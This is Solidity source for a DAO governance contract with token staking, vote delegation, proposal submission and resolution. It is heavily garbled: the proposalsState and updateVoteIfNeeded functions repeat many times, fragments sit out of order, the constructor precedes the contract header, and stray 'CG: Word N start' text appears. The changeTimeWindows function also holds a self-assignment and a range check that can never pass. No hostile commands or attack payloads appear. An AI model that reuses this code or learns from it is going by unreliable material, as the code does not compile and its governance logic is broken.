if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
// CG: Only votes allowed on current proposal round.
Proposal storage proposal = proposals[_proposalHash];
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
// CG: Cast the voter's vote
if (_vote == VoteStatus.Support)
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
/// @notice Resolve the proposal that was voted on.
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
// CG: If a proposal already has more than 50% of all staked votes then it can be passed before voting concluded.
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
// CG: If a proposal already has more than 50% of all staked votes against it then it can be defeated before voting concluded.
else if (proposal.votesInOpposition >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
// CG: If the proposal was started voting on less than resolutionWindow ago, then resolve based on amount of votes.
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
// CG: After voting time has concluded it is a pass if more votes are in support than in opposition.
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
// CG: Since voting started resolutionWindow or more ago already and have not been executed yet, fail the proposal.
else
{
hasPassed = false;
}
}
// CG: Emit the event before we lose the hash stored in currentProposalHash.
emit ProposalResolution(currentProposalHash, hasPassed);
// CG: Close the proposal
currentProposalHash = 0;
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
// CG: Refund deposit to proposer.
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
// CG: Call into owner to execute the proposal.
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
// CG: If it isn't a passed proposal, then the deposit should be burned.
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
/// @notice Burns the deposits of failed submissions.
function burnDepositsOfFailedSubmissions()
external
{
token.burn(burnAmount);
burnAmount = 0;
}
/// @notice Refund the deposits for `_for` that was associated to succesful resolutions.
/// @param _for The address to refund deposits for.
function refundSuccessfulSubmissions(address _for)
external
{
uint256 amount = refundAmount[_for];
refundAmount[_for] = 0;
bool couldRefund = token.transfer(_for, amount);
require(couldRefund, "ABQDAO/could-not-refund");
}
}
|
CG: Word 0 start. CG: Word 0 full. CG: Word 1 start. CG: Word 1 full. CG: Word 2 start. CG: Word 2 end. CG: Word 3 start. CG: Word 3 full. CG: Word 4 start. CG: Word 4 full. CG: Word 5 start. CG: Word 5 full. CG: Word 6 start. CG: Word 6 full.
|
{
uint256 public burnAmount;
bytes32 public currentProposalHash;
uint256 public totalVotesStaked;
uint256 public proposalDeposit = 100 ether;
bytes32[] public runningProposals;
mapping(bytes32 => Proposal) public proposals;
mapping(address => uint256) public refundAmount;
mapping(address => uint256) public votingPower;
mapping(address => Stake) public stakes;
mapping(address => bytes32) public lastVotedOn;
constructor (SingleOwnerDelegateCall _daoOwnerContract, AbqErc20 _token)
contract StakedVotingGovernance
{
daoOwnerContract = _daoOwnerContract;
token = _token;
}
modifier onlyDaoOwner()
{
require(msg.sender == address(daoOwnerContract), "ABQDAO/only-dao-owner");
_;
}
modifier onlyAcceptingProposalsState()
{
GovernanceState governanceState = proposalsState();
require(governanceState == GovernanceState.SubmissionsAccepted || governanceState == GovernanceState.SubmissionsOpen, "ABQDAO/submissions-not-allowed");
_;
}
modifier onlyVotingState()
{
GovernanceState governanceState = proposalsState();
require(governanceState == GovernanceState.VotingStarted, "ABQDAO/voting-not-allowed");
_;
}
modifier onlyAwaitingSelectionCallState()
{
GovernanceState governanceState = proposalsState();
require(governanceState == GovernanceState.AwaitingSelectionCall, "ABQDAO/selection-call-not-allowed");
_;
}
function changeTimeWindows(uint32 _submissionWindow, uint32 _submissionSelectionWindow, uint32 _votingWindow, uint32 _resolutionWindow)
onlyDaoOwner()
external
{
require(_submissionWindow >= 1 days && _submissionWindow <= 31 days, "ABQDAO/out-of-range");
require(_submissionSelectionWindow >= 1 days && _submissionSelectionWindow <= 31 days, "ABQDAO/out-of-range");
require(_votingWindow >= 1 days && _votingWindow <= 31 days, "ABQDAO/out-of-range");
require(_resolutionWindow >= 1 days && _resolutionWindow <= 31 days, "ABQDAO/out-of-range");
require(_submissionSelectionWindow >= (_submissionSelectionWindow + 1 days), "ABQDAO/out-of-range");
require(_resolutionWindow >= (_votingWindow + 1 days), "ABQDAO/out-of-range");
submissionWindow = submissionWindow;
submissionSelectionWindow = _submissionSelectionWindow;
votingWindow = _votingWindow;
resolutionWindow = _resolutionWindow;
}
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
else if (block.timestamp <= SafeMathTyped.add256(submissionStartedDate, submissionWindow))
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
else if (block.timestamp <= SafeMathTyped.add256(submissionStartedDate, submissionSelectionWindow))
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
else
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
else
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
{
return GovernanceState.SubmissionsOpen;
}
{
return GovernanceState.SubmissionsSelection;
}
{
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
{
return GovernanceState.ProposalConclusion;
}
}
}
function proposalsCount()
public
view
returns (uint256 _proposalsCount)
{
return runningProposals.length;
}
function viewVote(bytes32 _proposalHash, address _voter)
external
view
returns (VoteStatus)
{
return proposals[_proposalHash].votesCasted[_voter];
}
event StakeReceipt(address indexed staker, address indexed delegate, address indexed oldDelegate, bool wasStaked, uint256 amount);
function stake(address _delegate, uint256 _amount)
external
{
bool couldTransfer = token.transferFrom(msg.sender, address(this), _amount);
require(couldTransfer, "ABQDAO/could-not-transfer-stake");
Stake storage stakerStake = stakes[msg.sender];
uint256 previousStake = stakerStake.amount;
address previousDelegate = stakerStake.delegate;
votingPower[previousDelegate] = SafeMathTyped.sub256(votingPower[previousDelegate], previousStake);
stakerStake.amount = SafeMathTyped.add256(stakerStake.amount, _amount);
stakerStake.delegate = _delegate;
votingPower[stakerStake.delegate] = SafeMathTyped.add256(votingPower[stakerStake.delegate], stakerStake.amount);
bytes32 previousDelegateLastProposal = lastVotedOn[previousDelegate];
bytes32 newDelegateLastProposal = lastVotedOn[stakerStake.delegate];
updateVoteIfNeeded(previousDelegateLastProposal, previousDelegate, previousStake, newDelegateLastProposal, stakerStake.delegate, stakerStake.amount);
totalVotesStaked = SafeMathTyped.add256(totalVotesStaked, _amount);
emit StakeReceipt(msg.sender, _delegate, previousDelegate, true, _amount);
}
function unstake(uint256 _amount)
external
{
Stake storage stakerStake = stakes[msg.sender];
stakerStake.amount = SafeMathTyped.sub256(stakerStake.amount, _amount);
address delegate = stakerStake.delegate;
votingPower[delegate] = SafeMathTyped.sub256(votingPower[delegate], _amount);
bytes32 lastProposal = lastVotedOn[delegate];
updateVoteIfNeeded(lastProposal, delegate, _amount, lastProposal, delegate, 0);
bool couldTransfer = token.transfer(msg.sender, _amount);
require(couldTransfer, "ABQDAO/could-not-transfer-stake");
totalVotesStaked = SafeMathTyped.sub256(totalVotesStaked, _amount);
emit StakeReceipt(msg.sender, delegate, delegate, false, _amount);
}
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
Proposal storage proposalB = proposals[_proposalHashB];
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
function propose(address _executionAddress, bytes calldata _data)
onlyAcceptingProposalsState()
external
returns (bytes32 _hash)
{
bytes32 proposalHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, _executionAddress, _data));
Proposal storage proposal = proposals[proposalHash];
require(proposal.submissionBatchNumber == 0, "ABQDAO/proposal-already-submitted");
bool couldTransferDeposit = token.transferFrom(msg.sender, address(this), proposalDeposit);
require(couldTransferDeposit, "ABQDAO/could-not-transfer-deposit");
if (runningProposals.length == 0)
{
address doNothingAddress = address(0);
bytes memory doNothingData = new bytes(0);
bytes32 doNothingHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, doNothingAddress, doNothingData));
Proposal storage doNothingProposal = proposals[doNothingHash];
doNothingProposal.proposalAddress = doNothingAddress;
doNothingProposal.proposalDeposit = 0;
doNothingProposal.submissionBatchNumber = currentSubmissionBatchNumber;
doNothingProposal.proposer = address(0);
doNothingProposal.votesInSupport = 0;
doNothingProposal.votesInOpposition = 0;
doNothingProposal.proposalData = doNothingData;
runningProposals.push(doNothingHash);
emit ProposalReceipt(doNothingHash);
submissionStartedDate = uint64(block.timestamp);
}
proposal.proposalDeposit = proposalDeposit;
proposal.submissionBatchNumber = currentSubmissionBatchNumber;
proposal.proposer = msg.sender;
proposal.votesInSupport = 0;
proposal.votesInOpposition = 0;
proposal.proposalData = _data;
runningProposals.push(proposalHash);
emit ProposalReceipt(proposalHash);
return proposalHash;
}
event VoteOpenedReceipt(bytes32 proposalHash);
